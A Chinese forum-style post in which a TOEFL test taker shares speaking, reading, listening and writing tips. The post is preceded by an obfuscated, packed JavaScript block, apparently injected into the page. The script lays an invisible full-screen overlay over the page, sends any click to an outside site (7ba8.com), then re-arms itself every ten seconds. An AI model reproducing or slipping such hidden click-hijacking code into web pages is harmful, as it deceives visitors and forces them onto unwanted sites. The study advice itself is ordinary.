<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>本人8月4号第一次考托，结果很悲惨，98分。口语22是早就猜到的。那次很多没讲完，也很没层次逻辑的。但这次不同了，应该可以突破25分，如果分数出来了没到25证明我接下来讲的方法没用。不过我还是要说。
1，不要偷听。8。4那次偷听了，high了很久，开始口语部分还在high，十分影响情绪，脑子完全使不动了！不知道自己刚才说了什么鬼。而且有的时候会偷听错，我就听错了第2题，准备了n久之后在开口的前一秒发现题目不对，于是疯了。所以郑重警告大家不要偷听！准备好万能题材才是最重要的！！这次我有很多机会偷听我都没听，结果我心态很好，边说边思考下面怎么说，结果说得很溜很全。
2，紧张的时候左手抓右手，反正随便一只手抓紧桌子。第一次我紧张的要起飞了，乱飘飘的，这次我左手猛抓桌子／椅子，我一下子就不紧张了，注意力很快集中起来了，所以讲得很好！
3，针对4，6题，我认为不要靠模版最好。我上次讲完模版都没多少时间讲内容，就算说得很快都很难把该说的main idea and detail都说完。 这次我不说模版的，只说the professor discusses......first, second,third.../he then gives an/several example(s) to illustrate this point.....so above all, the professor ..........(总结听力内容和文章的关系)
我就是这样讲，很自然地把所有的point都讲完了，还留有时间总结，补充。那个什么delta啊只类的说什么in the set of materials...the reading..the listeining...太废话了，看好题目问什么就捡重点答，不要求说的别说了！
注意：og 很重要，要很认真地研究托福口语高分范例和得分点。相当有用，在做别的题目时千万不要忘了og！
4，准备时间的15秒／30秒的时候不要开口说。先补充没来得及写完的，然后列1，2，3，4，这是在标逻辑，层次，说的顺序。main idea框起来／下划线，example打星号。我就是这样子的，说的时候就不乱，条理相当清晰。
【推荐】：托福考生：练习重在提高口语 而非积累段子
注意：我看了barron's的同义句转换部分，我认为非常有用！！！！大家要练习这种能力。这样能把很长的话变短，变简单，又可以节省时间说其他的东西，还体现了你的语言表达能力，不是干巴巴地照抄，而是用自己的语言复述。比如：这次口语6说了：大象从地上随便抓个树枝就挠痒痒，“随便”听力是怎么说的不记得了，纸上虽然写的是原来的话，但是我不说原来的，我改成：it randomly picks a stick from the groud...。
我这是条件反射地说的，为啥？因为妹妹我有练过
大家好好看看barron's那个同义句转换部分，然后看jj，研究delta的口语题（我认为跟真题很象，虽然难了点，但是很有帮助），你回发现有几个词啊句型啊总是用，这时候我们可以固定地想个单词／句子跟它换，久而久之就看到它就说另一个词了。
ps：讲点别的部分吧。我强烈推荐barron‘s的阅读，我做完后完全提升了一个档次。我反复看，反复做，一开始3篇reading错了7个，后来就控制在3个以内。我这次看阅读很快进入状态，还觉得很短，很简单，不象b那样要推敲很久，满直接的。所以b是个宝。但听力不推荐听这个，好长，好烦。真的听力不长不短，刚刚好在我走神之前结束了，但是这次选项迷惑性大，我看了4个答案觉得e才是对的＝ ＝。这里，我推荐研究og的出题思路，还是很有用的，尤其研究态度题。 作文我不说了，我大作文写跑题了我活该谁叫我轻视它。小作文套模版，模版模版，然后思路要清晰，好好地一个对一个地反驳。根据我研究og看来，小作文很考同义句转换，所以可以转的都转，比如：quiet 改成serene, a crowd of people 改成a plethora /throng of 。
people
又想到件很重要的事：大家可以戴那种软绵绵的耳塞在耳朵里，那样可以保护耳膜，还可以消除很多干扰，我这次完全不受外界干扰（除了有个哥们儿离我巨远撤着嗓子喊着讲，那时在写作文，摘耳机了，严重受干扰，因为太好笑了，可是旁边还在做口语的mm惨了，吓了1跳。）耳塞在各大汽车用品或美容专柜均有销售！
好我榨干了，我自己的小经验，我自己觉得好使，希望大家也觉得好使！
【推荐】：托福考生：练习重在提高口语 而非积累段子 |
收藏